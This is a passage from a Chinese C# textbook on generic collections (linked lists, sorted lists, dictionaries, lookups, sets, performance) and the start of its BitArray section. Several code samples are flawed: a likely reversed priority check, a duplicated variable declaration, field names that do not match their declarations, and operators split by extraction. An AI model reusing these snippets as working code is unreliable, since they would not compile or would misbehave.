while (alphabet.Count > 0) { Write(alphabet.Pop()); } WriteLine(); 结果是两个CBA,每次迭代对应一个CBA。在第二次迭代后,栈变空,因为第二次 迭代使用了Pop()方法: First iteration: CBA Second iteration: CBA 11.6 链表 LinkedList<T>是一个双向链表,其元素指向它前面和后面的元素,如图11-3所示。这 样一来,通过移动到下一个元素可以正向遍历整个链表,通过移动到前一个元素可以反向 遍历整个链表。 图11-3 链表的优点是,如果将元素插入列表的中间位置,使用链表就会非常快。在插入一个 元素时,只需要修改上一个元素的Next引用和下一个元素的Previous引用,使它们引用所 插入的元素。在List<T>类中,插入一个元素时,需要移动该元素后面的所有元素。 当然,链表也有缺点。链表的元素只能一个接一个地访问,这需要较长的时间来查找 位于链表中间或尾部的元素。 链表不能在列表中仅存储元素。存储元素时,链表还必须存储每个元素的下一个元素 和上一个元素的信息。这就是LinkedList<T>包含LinkedListNode<T>类型的元素的原因。 使用LinkedListNode<T>类,可以获得列表中的下一个元素和上一个元素。 LinkedListNode<T>定义了属性List、Next、Previous和Value。List属性返回与节点相关的 LinkedList<T>对象,Next和Previous属性用于遍历链表,访问当前节点之后和之前的节 点。Value返回与节点相关的元素,其类型是T。 LinkedList<T>类定义的成员可以访问链表中的第一个和最后一个元素(First和 Last)、在指定位置插入元素(AddAfter()、AddBefore()、AddFirst()和 AddLast()方法),删除指定位置的元素(Remove()、RemoveFirst()和 RemoveLast()方法)、从链表的开头(Find()方法)或结尾(FindLast()方法)开 始搜索元素。 示例应用程序使用了一个链表和一个列表。链表包含文档,这与上一个队列例子相 同,但文档有一个额外的优先级。在链表中,文档按照优先级来排序。如果多个文档的优 先级相同,这些元素就按照文档的插入时间来排序。 图11-4描述了示例应用程序中的集合。LinkedList<Document>是一个包含所有 Document对象的链表,该图显示了文档的标题和优先级。标题指出了文档添加到链表中 的时间。第一个添加的文档的标题是“One”。第二个添加的文档的标题是“Two”,依此类 推。可以看出,文档One和Four有相同的优先级8,因为One在Four之前添加,所以One放 在链表的前面。 图11-4 在链表中添加新文档时,它们应放在优先级相同的最后一个文档后面。集合 LinkedList <Document>包含LinkedListNode<Document>类型的元素。LinkedListNode<T> 类添加Next和Previous属性,使搜索过程能从一个节点移动到下一个节点上。要引用这类 元素,应把List<T>定义为List<LinkedListNode<Document>>。为了快速访问每个优先级的 最后一个文档,集合List<LinkedList-Node>应最多包含10个元素,每个元素分别引用每个 优先级的最后一个文档。在后面的讨论中,对每个优先级的最后一个文档的引用称为优先 级节点。 在上面的例子中,Document类扩展为包含优先级。优先级用类的构造函数设置(代 码文件LinkedListSample/Document.cs): public class Document { public string Title { get; private set; } public string Content { get; private set; } public byte Priority { get; private set; } public Document(string title, string content, byte priority) { Title = title; Content = content; Priority = priority; } } 解决方案的核心是PriorityDocumentManager类。这个类很容易使用。在这个类的公共 接口中,可以把新的Document元素添加到链表中,可以检索第一个文档,为了便于测 试,它还提供了一个方法,在元素链接到链表中时,该方法可以显示集合中的所有元素。 PriorityDocumentManager类包含两个集合。LinkedList<Document>类型的集合包含所 有的文档。List<LinkedListNode<Document>>类型的集合包含最多10个元素的引用,它们 是添加指定优先级的新文档的入口点。这两个集合变量都用PriorityDocumentManager类的 构造函数来初始化。列表集合也用null初始化(代码文件 LinkedListSample/PriorityDocumentManager.cs): public class PriorityDocumentManager { private readonly LinkedList<Document> _documentList; // priorities 0.9 private readonly List<LinkedListNode<Document>> _priorityNodes; public PriorityDocumentManager() { _documentList = new LinkedList<Document>(); _priorityNodes = new List<LinkedListNode<Document>>(10); for (int i = 0; i < 10; i++) { _priorityNodes.Add(new LinkedListNode<Document>(null)); } } 在类的公共接口中,有一个AddDocument()方法。AddDocument()方法只调用私 有方法AddDocumentToPriorityNode()。把实现代码放在另一个方法中的原因是, AddDocumentToPriorityNode()方法可以递归调用,如后面所示。 public void AddDocument(Document d) { if (d == null) throw new ArgumentNullException("d"); AddDocumentToPriorityNode(d, d.Priority); } 在AddDocumentToPriorityNode()方法的实现代码中,第一个操作是检查优先级是 否在允许的优先级范围内。这里允许的范围是0~9。如果传送了错误的值,就会抛出一个 ArgumentException类型的异常。 接着检查是否已经有一个优先级节点与所传送的优先级相同。如果在列表集合中没有 这样的优先级节点,就递归调用AddDocumentToPriorityNode()方法,递减优先级值, 检查是否有低一级的优先级节点。 如果优先级节点的优先级值与所传送的优先级值不同,也没有比该优先级值更低的优 先级节点,就可以调用AddLast()方法,将文档安全地添加到链表的末尾。另外,链表 节点由负责指定文档优先级的优先级节点引用。 如果存在这样的优先级节点,就可以在链表中找到插入文档的位置。这里必须区分是 存在指定优先级值的优先级节点,还是存在以较低的优先级值引用文档的优先级节点。对 于第一种情况,可以把新文档插入由优先级节点引用的位置后面。因为优先级节点总是引 用指定优先级值的最后一个文档,所以必须设置优先级节点的引用。如果引用文档的优先 级节点有较低的优先级值,情况就会比较复杂。这里新文档必须插入优先级值与优先级节 点相同的所有文档的前面。为了找到优先级值相同的第一个文档,要通过一个while循 环,使用Previous属性遍历所有的链表节点,直到找到一个优先级值不同的链表节点为 止。这样,就找到了必须插入文档的位置,并可以设置优先级节点。 private void AddDocumentToPriorityNode(Document doc, int priority) { if (priority > 9 || priority < 0) throw new ArgumentException("Priority must be between 0 and 9"); if (_priorityNodes[priority].Value == null) { --priority; if (priority <= 0) { // check for the next lower priority AddDocumentToPriorityNode(doc, priority); } else // now no priority node exists with the same priority or lower // add the new document to the end { _documentList.AddLast(doc); _priorityNodes[doc.Priority] = _documentList.Last; } return; } else // a priority node exists { LinkedListNode<Document> prioNode = _priorityNodes[priority]; if (priority == doc.Priority) // priority node with the same priority exists { _documentList.AddAfter(prioNode, doc); // set the priority node to the last document with the same priority _priorityNodes[doc.Priority] = prioNode.Next; } else // only priority node with a lower priority exists { // get the first node of the lower priority LinkedListNode<Document> firstPrioNode = prioNode; while (firstPrioNode.Previous ! = null && firstPrioNode.Previous.Value.Priority == prioNode.Value.Priority) { firstPrioNode = prioNode.Previous; prioNode = firstPrioNode; } _documentList.AddBefore(firstPrioNode, doc); // set the priority node to the new value _priorityNodes[doc.Priority] = firstPrioNode.Previous; } } } 现在还剩下几个简单的方法没有讨论。DisplayAllNodes()方法只是在一个foreach循 环中,把每个文档的优先级和标题显示在控制台上。 GetDocument()方法从链表中返回第一个文档(优先级最高的文档),并从链表中 删除它: public void DisplayAllNodes() { foreach (Document doc in documentList) { WriteLine($"priority: {doc.Priority}, title {doc.Title}"); } } // returns the document with the highest priority // (that's first in the linked list) public Document GetDocument() { Document doc = _documentList.First.Value; _documentList.RemoveFirst(); return doc; } 在Main()方法中,PriorityDocumentManager类用于说明其功能。在链表中添加8个 优先级不同的新文档,再显示整个链表(代码文件LinkedListSample/Program.cs): public static void Main() { var pdm = new PriorityDocumentManager(); pdm.AddDocument(new Document("one", "Sample", 8)); pdm.AddDocument(new Document("two", "Sample", 3)); pdm.AddDocument(new Document("three", "Sample", 4)); pdm.AddDocument(new Document("four", "Sample", 8)); pdm.AddDocument(new Document("five", "Sample", 1)); pdm.AddDocument(new Document("six", "Sample", 9)); pdm.AddDocument(new Document("seven", "Sample", 1)); pdm.AddDocument(new Document("eight", "Sample", 1)); pdm.DisplayAllNodes(); } 在处理好的结果中,文档先按优先级排序,再按添加文档的时间排序: priority: 9, title six priority: 8, title one priority: 8, title four priority: 4, title three priority: 3, title two priority: 1, title five priority: 1, title seven priority: 1, title eight 11.7 有序列表 如果需要基于键对所需集合排序,就可以使用SortedList<TKey, TValue>类。这个类 按照键给元素排序。这个集合中的值和键都可以使用任意类型。 下面的例子创建了一个有序列表,其中键和值都是string类型。默认的构造函数创建 了一个空列表,再用Add()方法添加两本书。使用重载的构造函数,可以定义列表的容 量,传递实现了IComparer<TKey>接口的对象,该接口用于给列表中的元素排序。 Add()方法的第一个参数是键(书名),第二个参数是值(ISBN号)。除了使用 Add()方法之外,还可以使用索引器将元素添加到列表中。索引器需要把键作为索引参 数。如果键已存在,Add()方法就抛出一个ArgumentException类型的异常。如果索引器 使用相同的键,就用新值替代旧值(代码文件SortedListSample/Program.cs)。 var books = new SortedList<string, string>(); books.Add("Professional WPF Programming", "978-0-470-04180-2"); books.Add("Professional ASP.NET MVC 5", "978-1-118-79475-3"); books["Beginning Visual C# 2012"] = "978-1-118-31441-8"; books["Professional C# 5 and .NET 4.5.1"] = "978-1-118-83303-2";  注意: SortedList<TKey, TValue>类只允许每个键有一个对应的值,如果需要 每个键对应多个值,就可以使用Lookup<TKey, TElement>类。 可以使用foreach语句遍历该列表。枚举器返回的元素是KeyValuePair<TKey, TValue> 类型,其中包含了键和值。键可以用Key属性访问,值可以用Value属性访问。 foreach (KeyValuePair<string, string> book in books) { WriteLine($"{book.Key}, {book.Value}"); } 迭代语句会按键的顺序显示书名和ISBN号: Beginning Visual C# 2012, 978-1-118-31441-8 Professional ASP.NET MVC 5, 978-1-118-79475-3 Professional C# 5 and .NET 4.5.1, 978-1-118-83303-2 Professional WPF Programming, 978-0-470-04180-2 也可以使用Values和Keys属性访问值和键。因为Values属性返回IList<TValue>, Keys 属性返回IList<TKey>,所以可以通过foreach语句使用这些属性: foreach (string isbn in books.Values) { WriteLine(isbn); } foreach (string title in books.Keys) { WriteLine(title); } 第一个循环显示值,第二个循环显示键: 978-1-118-31441-8 978-1-118-79475-3 978-1-118-83303-2 978-0-470-04180-2 Beginning Visual C# 2012 Professional ASP.NET MVC 5 Professional C# 5 and .NET 4.5.1 Professional WPF Programming 如果尝试使用索引器访问一个元素,但所传递的键不存在,就会抛出一个 KeyNotFoundException类型的异常。为了避免这个异常,可以使用ContainsKey()方法, 如果所传递的键存在于集合中,这个方法就返回true,也可以调用TryGetValue()方法, 该方法尝试获得指定键的值。如果指定键对应的值不存在,该方法就不会抛出异常。 string isbn; string title = "Professional C# 7.0"; if (! books.TryGetValue(title , out isbn) ) { WriteLine($"{title} not found"); } 11.8 字典 字典表示一种非常复杂的数据结构,这种数据结构允许按照某个键来访问元素。字典 也称为映射或散列表。字典的主要特性是能根据键快速查找值。也可以自由添加和删除元 素,这有点像List<T>类,但没有在内存中移动后续元素的性能开销。 图11-5是字典的一个简化表示。其中employee-id(如B4711)是添加到字典中的键。 键会转换为一个散列。利用散列创建一个数字,它将索引和值关联起来。然后索引包含一 个到值的链接。该图做了简化处理,因为一个索引项可以关联多个值,索引可以存储为一 个树型结构。 图11-5 .NET Framework提供了几个字典类。可以使用的最主要的类是Dictionary<TKey, TValue>。 11.8.1 字典初始化器 C# 6定义了一个新的语法,在声明时初始化字典。带有int键和string值的字典可以初 始化如下: var dict = new Dictionary<int, string>() { [3] = "three", [7] = "seven" }; 这里把两个元素添加到字典中。第一个元素的键是3,字符串值是three;第二个元素 的键是7,字符串值是seven。这个初始化语法易于阅读,使用的语法与访问字典中的元素 相同。 11.8.2 键的类型 用作字典中键的类型必须重写Object类的GetHashCode()方法。只要字典类需要确 定元素的位置,它就要调用GetHashCode()方法。GetHashCode()方法返回的int由字 典用于计算在对应位置放置元素的索引。这里不介绍这个算法。我们只需要知道,它涉及 素数,所以字典的容量是一个素数。 GetHashCode()方法的实现代码必须满足如下要求: ● 相同的对象应总是返回相同的值。 ● 不同的对象可以返回相同的值。 ● 它不能抛出异常。 ● 它应至少使用一个实例字段。 ● 散列代码最好在对象的生存期中不发生变化。 除了GetHashCode()方法的实现代码必须满足的要求之外,最好还满足如下要求: ● 它应执行得比较快,计算的开销不大。 ● 散列代码值应平均分布在int可以存储的整个数字范围上。  注意: 字典的性能取决于GetHashCode()方法的实现代码。 为什么要使散列代码值平均分布在整数的取值范围内?如果两个键返回的散列代码值 会得到相同的索引,字典类就必须寻找最近的可用空闲位置来存储第二个数据项,这需要 进行一定的搜索,以便以后检索这一项。显然这会降低性能,如果在排序时许多键都有相 同的索引,这类冲突就更可能出现。根据Microsoft的算法的工作方式,当计算出来的散列 代码值平均分布在int.MinValue和int.MaxValue之间时,这种风险会降低到最小。 除了实现GetHashCode()方法之外,键类型还必须实现IEquatable<T>.Equals()方 法,或重写Object类的Equals()方法。因为不同的键对象可能返回相同的散列代码,所 以字典使用Equals()方法来比较键。字典检查两个键A和B是否相等,并调用 A.Equals(B)方法。这表示必须确保下述条件总是成立: 如果A.Equals(B)方法返回true,则A.GetHashCode()和B.GetHashCode()方法 必须总是返回相同的散列代码。 这似乎有点奇怪,但它非常重要。如果设计出某种重写这些方法的方式,使上面的条 件并不总是成立,那么把这个类的实例用作键的字典就不能正常工作,而是会发生有趣的 事情。例如,把一个对象放在字典中后,就再也检索不到它,或者试图检索某项,却返回 了错误的项。  注意: 如果为Equals()方法提供了重写版本,但没有提供 GetHashCode()方法的重写版本,C#编译器就会显示一个编译警告。 对于System.Object,这个条件为true,因为Equals()方法只是比较引用, GetHashCode()方法实际上返回一个仅基于对象地址的散列代码。这说明,如果散列表 基于一个键,而该键没有重写这些方法,这个散列表就能正常工作。但是,这么做的问题 是,只有对象完全相同,键才被认为是相等的。也就是说,把一个对象放在字典中时,必 须将它与该键的引用关联起来。也不能在以后用相同的值实例化另一个键对象。如果没有 重写Equals()方法和GetHashCode()方法,在字典中使用类型时就不太方便。 另外,System.String实现了IEquatable接口,并重载了GetHashCode()方法。 Equals()方法提供了值的比较,GetHashCode()方法根据字符串的值返回一个散列代 码。因此,在字典中把字符串用作键非常方便。 数字类型(如Int32)也实现IEquatable接口,并重载GetHashCode()方法。但是这 些类型返回的散列代码只映射到值上。如果希望用作键的数字本身没有分布在可能的整数 值范围内,把整数用作键就不能满足键值的平均分布规则,于是不能获得最佳的性能。 Int32并不适合在字典中使用。 如果需要使用的键类型没有实现IEquatable接口,并根据存储在字典中的键值重载 GetHashCode()方法,就可以创建一个实现IEqualityComparer<T>接口的比较器。 IEquality-Comparer<T>接口定义了GetHashCode()和Equals()方法,并将传递的对象 作为参数,因此可以提供与对象类型不同的实现方式。Dictionary<TKey, TValue>构造函 数的一个重载版本允许传递一个实现了IEqualityComparer <T>接口的对象。如果把这个对 象赋予字典,该类就用于生成散列代码并比较键。 11.8.3 字典示例 字典示例程序建立了一个员工字典。该字典用EmployeeId对象来索引,存储在字典中 的每个数据项都是一个Employee对象,该对象存储员工的详细数据。 实现EmployeeId结构是为了定义在字典中使用的键,该结构的成员是表示员工的一个 前缀字符和一个数字。这两个变量都是只读的,只能在构造函数中初始化。字典中的键不 应改变,这是必须保证的。在构造函数中填充字段。重载ToString()方法是为了获得员 工ID的字符串表示。与键类型的要求一样,EmployeeId结构也要实现IEquatable接口,并 重载GetHashCode()方法(代码文件DictionarySample/EmployeeId.cs)。 public class EmployeeIdException : Exception { public EmployeeIdException(string message) : base(message) { } } public struct EmployeeId : IEquatable<EmployeeId> { private readonly char _prefix; private readonly int _number; public EmployeeId(string id) { Contract.Requires<ArgumentNullException>(id ! = null); _prefix = (id.ToUpper())[0]; int numLength = id.Length - 1; try { _number = int.Parse(id.Substring(1, numLength > 6 ? 6 : numLength)); } catch (FormatException) { throw new EmployeeIdException("Invalid EmployeeId format"); } } public override string ToString() => _prefix.ToString() + $"{number,6:00000 0}"; public override int GetHashCode() => (number ^ number << 16) * 0x15051505; public bool Equals(EmployeeId other) => (prefix == other? .prefix && number == other? .number); public override bool Equals(object obj) => Equals((EmployeeId)obj); public static bool operator ==(EmployeeId left, EmployeeId right) => left.Equals(right); public static bool operator ! =(EmployeeId left, EmployeeId right) => !(left == right); } 由IEquatable<T>接口定义的Equals()方法比较两个EmployeeId对象的值,如果这两 个值相同,它就返回true。除了实现IEquatable<T>接口中的Equals()方法之外,还可以 重写Object类中的Equals()方法。 public bool Equals(EmployeeId other) => (prefix == other.prefix && number == other.number); 由于数字是可变的,因此员工可以取1~190 000的一个值。这并没有填满整数取值范 围。GetHashCode()方法使用的算法将数字向左移动16位,再与原来的数字进行异或操 作,最后将结果乘以十六进制数15051505。散列代码在整数取值区域上的分布相当均匀: public override int GetHashCode() => (number ^ number << 16) * 0x15051505;  注意: 在Internet上,有许多更复杂的算法,它们能使散列代码在整数取值范 围上更好地分布。也可以使用字符串的GetHashCode()方法来返回一个散列。 Employee类是一个简单的实体类,该实体类包含员工的姓名、薪水和ID。构造函数 初始化所有值,ToString()方法返回一个实例的字符串表示。ToString()方法的实现 代码使用格式化字符串创建字符串表示,以提高性能(代码文件 DictionarySample/Employee.cs)。 public class Employee { private string _name; private decimal _salary; private readonly EmployeeId _id; public Employee(EmployeeId id, string name, decimal salary) { _id = id; _name = name; _salary = salary; } public override string ToString() => $"{id.ToString()}: {name, -20} {salary :C}"; } 在示例应用程序的Main()方法中,创建一个新的Dictionary<TKey, TValue>实例, 其中键是EmployeeId类型,值是Employee类型。构造函数指定了31个元素的容量。注意容 量一般是素数。但如果指定了一个不是素数的值,也不需要担心。Dictionary<TKey, TValue>类会使用传递给构造函数的整数后面紧接着的一个素数来指定容量。创建员工对 象和ID后,就使用新的字典初始化语法把它们添加到新建的字典中。当然,也可以调用 字典的Add()方法添加对象(代码文件DictionarySample/Program.cs): public static void Main() { var employees = new Dictionary<EmployeeId, Employee>(31); var idTony = new EmployeeId("C3755"); var tony = new Employee(idTony, "Tony Stewart", 379025.00m); var idCarl = new EmployeeId("F3547"); var carl = new Employee(idCarl, "Carl Edwards", 403466.00m); var idKevin = new EmployeeId("C3386"); var kevin = new Employee(idKevin, "Kevin Harwick", 415261.00m); var idMatt = new EmployeeId("F3323"); var matt = new Employee(idMatt, "Matt Kenseth", 1589390.00m); var idBrad = new EmployeeId("D3234"); var brad = new Employee(idBrad, "Brad Keselowski", 322295.00m); var employees = new Dictionary<EmployeeId, Employee>(31) { [idTony] = tony, [idCarl] = carl, [idKevin] = kevin, [idMatt] = matt, [idBrad] = brad }; foreach (var employee in employees.Values) { WriteLine(employee); } 将数据项添加到字典中后,在while循环中读取字典中的员工。让用户输入一个员工 号,把该号码存储在变量userInput中。用户输入X即可退出应用程序。如果输入的键在字 典中,就使用Dictionary<TKey, TValue>类的TryGetValue()方法检查它。如果找到了该 键,TryGetValue()方法就返回true;否则返回false。如果找到了与键关联的值,该值就 存储在employee变量中,并把该值写入控制台。  注意: 也可以使用Dictionary<TKey, TValue>类的索引器替代 TryGetValue()方法,来访问存储在字典中的值。但是,如果没有找到键,索引器会 抛出一个KeyNotFound-Exception类型的异常。 while (true) { Write("Enter employee id (X to exit)> "); var userInput =ReadLine(); userInput = userInput.ToUpper(); if (userInput == "X") break; EmployeeId id; try { id = new EmployeeId(userInput); Employee employee; if (! employees.TryGetValue(id, out employee)) { WriteLine($"Employee with id {id} does not exist"); } else { WriteLine(employee); } } catch (EmployeeIdException ex) { WriteLine(ex.Message); } } 运行应用程序,得到如下输出: Enter employee id (X to exit)> C3386 C003386: Kevin Harwick $415,261.00 Enter employee id (X to exit)> F3547 F003547: Carl Edwards $403,466.00 Enter employee id (X to exit)> X Press any key to continue . . . 11.8.4 Lookup类 Dictionary<TKey, TValue>类支持每个键关联一个值。Lookup<TKey, TElement>类非 常类似于Dictionary<TKey, TValue>类,但把键映射到一个值集合上。这个类在程序集 System.Core中实现,用System.Linq名称空间定义。 Lookup<TKey, TElement>类不能像一般的字典那样创建,而必须调用ToLookup() 方法,该方法返回一个Lookup<TKey, TElement>对象。ToLookup()方法是一个扩展方 法,它可以用于实现IEnumerable<T>接口的所有类。在下面的例子中,填充了一个Racer 对象列表。因为List<T>类实现了IEnumerable<T>接口,所以可以在赛车手列表上调用 ToLookup()方法。这个方法需要一个Func<TSource, TKey>类型的委托,Func<TSource, TKey>类型定义了键的选择器。这里使用lambda表达式r => r.Country,根据国家来选择赛 车手。foreach循环只使用索引器访问来自澳大利亚的赛车手(代码文件 LookupSample/Program.cs)。 var racers = new List<Racer>(); racers.Add(new Racer("Jacques", "Villeneuve", "Canada", 11)); racers.Add(new Racer("Alan", "Jones", "Australia", 12)); racers.Add(new Racer("Jackie", "Stewart", "United Kingdom", 27)); racers.Add(new Racer("James", "Hunt", "United Kingdom", 10)); racers.Add(new Racer("Jack", "Brabham", "Australia", 14)); var lookupRacers = racers.ToLookup(r => r.Country); foreach (Racer r in lookupRacers["Australia"]) { WriteLine(r); }  注意: 扩展方法详见第13章,lambda表达式参见第9章。 结果显示了来自澳大利亚的赛车手: Alan Jones Jack Brabham 11.8.5 有序字典 SortedDictionary<TKey, TValue>是一个二叉搜索树,其中的元素根据键来排序。该键 类型必须实现IComparable<TKey>接口。如果键的类型不能排序,则还可以创建一个实现 了IComparer <TKey>接口的比较器,将比较器用作有序字典的构造函数的一个参数。 SortedDictionary<TKey, TValue>和SortedList<TKey, TValue>的功能类似。但因为 SortedList<TKey, TValue>实现为一个基于数组的列表,而SortedDictionary<TKey, TValue> 类实现为一个字典,所以它们有不同的特征。 ● SortedList<TKey, TValue>使用的内存比SortedDictionary<TKey, TValue>少。 ● SortedDictionary<TKey, TValue>的元素插入和删除操作比较快。 ● 在用已排好序的数据填充集合时,若不需要修改容量,SortedList<TKey, TValue>就 比较快。  注意: SortedList使用的内存比SortedDictionary少,但SortedDictionary在插入 和删除未排序的数据时比较快。 11.9 集 包含不重复元素的集合称为“集(set)”。.NET Framework包含两个集(HashSet<T> 和SortedSet<T>),它们都实现ISet<T>接口。HashSet<T>集包含不重复元素的无序列 表,SortedSet<T>集包含不重复元素的有序列表。 ISet<T>接口提供的方法可以创建合集、交集,或者给出一个集是另一个集的超集或 子集的信息。 在下面的示例代码中,创建了3个字符串类型的新集,并用一级方程式汽车填充它 们。HashSet<T>集实现ICollection<T>接口。但是在该类中,Add()方法是显式实现 的,还提供了另一个Add()方法。Add()方法的区别是返回类型,它返回一个布尔 值,说明是否添加了元素。如果该元素已经在集中,就不添加它,并返回false(代码文件 SetSample/Program.cs)。 var companyTeams = new HashSet<string>() { "Ferrari", "McLaren", "Mercedes" }; var traditionalTeams = new HashSet<string>() { "Ferrari", "McLaren" }; var privateTeams = new HashSet<string>() { "Red Bull", "Toro Rosso", "Force India", "Sauber" }; if (privateTeams.Add("Williams")) { WriteLine("Williams added"); } if (! companyTeams.Add("McLaren")) { WriteLine("McLaren was already in this set"); } 两个Add()方法的输出写到控制台上: Williams added McLaren was already in this set IsSubsetOf()和IsSupersetOf()方法比较集和实现了IEnumerable<T>接口的集合, 并返回一个布尔结果。这里,IsSubsetOf()方法验证traditionalTeams集合中的每个元素 是否都包含在companyTeams集合方法中,IsSupersetOf()方法验证traditionalTeams集合 是否有companyTeams集合没有的额外元素。 if (traditionalTeams.IsSubsetOf(companyTeams)) { WriteLine("traditionalTeams is subset of companyTeams"); } if (companyTeams.IsSupersetOf(traditionalTeams)) { WriteLine("companyTeams is a superset of traditionalTeams"); } 这个验证的结果如下: traditionalTeams is a subset of companyTeams companyTeams is a superset of traditionalTeams Williams也是一个传统队,因此这个队添加到traditionalTeams集合中: traditionalTeams.Add("Williams"); if (privateTeams.Overlaps(traditionalTeams)) { WriteLine("At least one team is the same with traditional and private teams "); } 因为有一个重叠,所以结果如下: At least one team is the same with traditional and private teams. 调用UnionWith()方法,把引用新SortedSet<string>的变量allTeams填充为 companyTeams、privateTeams和traditionalTeams的合集: var allTeams = new SortedSet<string>(companyTeams); allTeams.UnionWith(privateTeams); allTeams.UnionWith(traditionalTeams); WriteLine(); WriteLine("all teams"); foreach (var team in allTeams) { WriteLine(team); } 这里返回所有队,但每个队都只列出一次,因为集只包含唯一值。因为容器是 SortedSet<string>,所以结果是有序的: Ferrari Force India Lotus McLaren Mercedes Red Bull Sauber Toro Rosso Williams ExceptWith()方法从allTeams集中删除所有私有队: allTeams.ExceptWith(privateTeams); WriteLine(); WriteLine("no private team left"); foreach (var team in allTeams) { WriteLine(team); } 集合中的其他元素不包含私有队: Ferrari McLaren Mercedes 11.10 性能 许多集合类都提供了相同的功能,例如,SortedList类与SortedDictionary类的功能几 乎完全相同。但是,其性能常常有很大区别。一个集合使用的内存少,另一个集合的元素 检索速度快。在MSDN文档中,集合的方法常常有性能提示,给出了以大写O记号表示的 操作时间: ● O(1) ● O(log n) ● O(n) O(1)表示无论集合中有多少数据项,这个操作需要的时间都不变。例如, ArrayList类的Add()方法就具有O(1)行为。无论列表中有多少个元素,在列表末尾添 加一个新元素的时间都相同。Count属性会给出元素个数,所以很容易找到列表末尾。 O(n)表示对于集合执行一个操作需要的时间在最坏情况时是N。如果需要重新给集 合分配内存,ArrayList类的Add()方法就是一个O(n)操作。改变容量,需要复制列 表,复制的时间随元素的增加而线性增加。 O(log n)表示操作需要的时间随集合中元素的增加而增加,但每个元素需要增加的 时间不是线性的,而是呈对数曲线。在集合中执行插入操作时,SortedDictionary<TKey, TValue>集合类具有O(log n)行为,而SortedList<TKey, TValue>集合类具有O(n)行 为。这里SortedDictionary <TKey, TValue>集合类要快得多,因为它在树型结构中插入元 素的效率比列表高得多。 表11-4列出了集合类及其执行不同操作的性能,例如,添加、插入和删除元素。使用 这个表可以选择性能最佳的集合类。左列是集合类,Add列给出了在集合中添加元素所需 的时间。List<T>和HashSet<T>类把Add方法定义为在集合中添加元素。其他集合类用不 同的方法把元素添加到集合中。例如,Stack<T>类定义了Push()方法,Queue<T>类定 义了Enqueue()方法。这些信息也列在表中。 表11-4 如果单元格中有多个大O值,表示若集合需要重置大小,该操作就需要一定的时间。 例如,在List<T>类中,添加元素的时间是O(1)。如果集合的容量不够大,需要重置大 小,则重置大小需要的时间长度就是O(n)。集合越大,重置大小操作的时间就越长。 最好避免重置集合的大小,而应把集合的容量设置为一个可以包含所有元素的值。 如果表单元格的内容是n/a(代表not applicable),就表示这个操作不能应用于这种集 合类型。 11.11 小结 本章介绍了如何处理不同类型的泛型集合。数组的大小是固定的,但可以使用列表作 为动态增长的集合。队列以先进先出的方式访问元素,栈以后进先出的方式访问元素。链 表可以快速插入和删除元素,但搜索操作比较慢。通过键和值可以使用字典,它的搜索和 插入操作比较快。集(set)用于唯一项,可以是无序的(HashSet<T>),也可以是有序 的(SortedSet<T>)。 第12章将介绍一些特殊的集合类。 第12章 特殊的集合 本章要点 ● 使用位数组和位矢量 ● 使用可观察的集合 ● 使用不可变的集合 ● 使用并发的集合 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● 位数组示例 ● 位矢量示例 ● 可观察的集合示例 ● 不可变的集合示例 ● 管道示例 12.1 概述 第11章介绍了列表、队列、堆栈、字典和链表。本章继续介绍特殊的集合,例如,处 理位的集合、改变时可以观察的集合、不能改变的集合,以及可以在多个线程中同时访问 的集合。 12.2 处理位 如果需要处理的数字有许多位,就可以使用BitArray类和BitVector32结构。BitArray 类位于名称空间System.Collections中,BitVector32结构位于名称空间 System.Collections.Specialized中。这两种类型最重要的区别是,BitArray类可以重新设置 大小,如果事先不知道需要的位数,就可以使用BitArray类,它可以包含非常多的位。 BitVector32结构是基于栈的,因此比较快。BitVector32结构仅包含32位,它们存储在一个 整数中。 12.2.1 BitArray类 BitArray类是一个引用类型,它包含一个int数组,其中每32位使用一个新整数。这个 类的成员如表12-1所示。 表12-1 BitArray类的成员 说明 Count Length Count和Length属性的get访问器返回数组中的位数。使用 Length属性还可以定义新的数组大小,重新设置集合的大小 Item Get Set 可以使用索引器读写数组中的位。索引器是布尔类型。除了 使用索引器之外,还可以使用Get()和Set()方法访问数 组中的位 SetAll 根据传送给该方法的参数,SetAll()方法设置所有位的值 Not Not()方法对数组中所有位的值取反 And Or Xor 使用And()、Or()和Xor()方法,可以合并两个 BitArray对象。And()方法执行二元AND,只有两个输入 数组的位都设置为1,结果位才是1。Or()方法执行二元 OR,只要有一个输入数组的位设置为1,结果位就是1。 Xor()方法是异或操作,只有一个输入数组的位设置为 1,结果位才是1 辅助方法DisplayBits()遍历BitArray,根据位的设置情况,在控制台上显示1或 0(代码文件BitArraySample/Program.cs): public static void DisplayBits(BitArray bits) { foreach (bool bit in bits) { Write(bit ? 1: 0); } } BitArraySample使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Collections static System.Console 说明BitArray类的示例创建了一个包含8位的数组,其索引是0~7。SetAll()方法把 这8位都设置为true。接着Set()方法把对应于1的位设置为false。除了Set()方法之外, 还可以使用索引器,例如,下面的第5个和第7个索引: var bits1 = new BitArray(8); bits1.SetAll(true); bits1.Set(1, false); bits1[5] = false; bits1[7] = false; Write("initialized: "); DisplayBits(bits1); WriteLine(); 这是初始化位的显示结果: initialized: 10111010 Not()方法会对BitArray类的位取反: Write(" not "); DisplayBits(bits1); bits1.Not(); Write(" = "); DisplayBits(bits1); WriteLine(); Not()方法的结果是对所有的位取反。如果某位是true,则执行Not()方法的结果 就是false,反之亦然。 not 10111010 = 01000101 这里创建了一个新的BitArray类。在构造函数中,因为使用变量bits1初始化数组,所 以新数组与旧数组有相同的值。接着把第0、1和4位的值设置为不同的值。在使用Or() 方法之前,显示位数组bits1和bits2。Or()方法将改变bits1的值: var bits2 = new BitArray(bits1); bits2[0] = true; bits2[1] = false; bits2[4] = true; DisplayBits(bits1); Write(" or "); DisplayBits(bits2); Write(" = "); bits1.Or(bits2); DisplayBits(bits1); WriteLine(); 使用Or()方法时,从两个输入数组中提取设置位。结果是,如果某位在第一个或 第二个数组中设置为true,该位在执行Or()方法后就是true: 01000101 or 10001101 = 11001101 下面使用And()方法作用于位数组bits1和bits2: DisplayBits(bits2); Write(" and "); DisplayBits(bits1); Write(" = "); bits2.And(bits1); DisplayBits(bits2); WriteLine(); And()方法只把在两个输入数组中都设置为true的位设置为true: 10001101 and 11001101 = 10001101 最后使用Xor()方法进行异或操作: DisplayBits(bits1); Write(" xor "); DisplayBits(bits2); bits1.Xor(bits2); Write(" = "); DisplayBits(bits1); WriteLine(); 使用Xor()方法,只有一个(不能是两个)输入数组的位设置为1,结果位才是1。 